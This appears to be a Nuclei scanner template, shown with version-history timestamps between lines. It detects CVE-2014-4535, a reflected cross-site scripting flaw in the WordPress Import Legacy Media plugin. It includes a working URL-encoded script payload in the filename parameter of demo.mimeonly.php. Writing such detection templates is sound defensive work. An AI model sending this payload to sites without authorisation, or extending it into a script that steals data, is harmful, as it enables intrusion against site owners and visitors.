2021-07-29 22:51:07 +00:00
id : CVE-2014-4535
info :
2022-09-09 17:34:37 +00:00
name : Import Legacy Media <= 0.1 - Cross-Site Scripting
2021-07-29 22:51:07 +00:00
author : daffainfo
severity : medium
2022-04-22 10:38:41 +00:00
description : A cross-site scripting vulnerability in the Import Legacy Media plugin 0.1 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the filename parameter to getid3/demos/demo.mimeonly.php.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.
2023-09-06 13:22:34 +00:00
remediation : |
Update to the latest version of the Import Legacy Media plugin (0.1 or higher) to mitigate this vulnerability.
2021-08-19 13:59:12 +00:00
reference :
2021-07-29 22:51:07 +00:00
- https://wpscan.com/vulnerability/7fb78d3c-f784-4630-ad92-d33e5de814fd
- https://nvd.nist.gov/vuln/detail/CVE-2014-4535
2022-05-17 09:18:12 +00:00
- http://codevigilant.com/disclosure/wp-plugin-import-legacy-media-a3-cross-site-scripting-xss
2024-01-29 17:11:14 +00:00
- https://github.com/ARPSyndicate/kenzer-templates
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.1
2021-09-10 11:26:40 +00:00
cve-id : CVE-2014-4535
cwe-id : CWE-79
2023-04-12 10:55:48 +00:00
epss-score : 0.00135
2024-03-23 09:28:19 +00:00
epss-percentile : 0.47838
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:import_legacy_media_project:import_legacy_media:*:*:*:*:*:wordpress:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : import_legacy_media_project
product : import_legacy_media
2023-09-06 13:22:34 +00:00
framework : wordpress
2024-01-14 09:21:50 +00:00
tags : cve2014,cve,wpscan,wordpress,wp-plugin,xss,unauth,import_legacy_media_project
2021-07-29 22:51:07 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-07-29 22:51:07 +00:00
- method : GET
path :
2022-01-25 19:38:53 +00:00
- "{{BaseURL}}/wp-content/plugins/import-legacy-media/getid3/demos/demo.mimeonly.php?filename=filename%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
2021-07-29 22:51:07 +00:00
matchers-condition : and
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : body
2021-07-29 22:51:07 +00:00
words :
2021-07-31 03:30:47 +00:00
- "'></script><script>alert(document.domain)</script>"
2021-07-29 22:51:07 +00:00
- type : word
part : header
words :
- text/html
- type : status
status :
- 200
2024-03-25 11:57:16 +00:00
# digest: 4b0a00483046022100808155b3e9bd0da8758fe21105db7243f46e6789fa209d6a6b73f219ca1733ce02210097568398a70029c36962eedf476883fb966f09065544bfcf252adbef6af31cd2:922c64590222798bb761d5b6d8e72950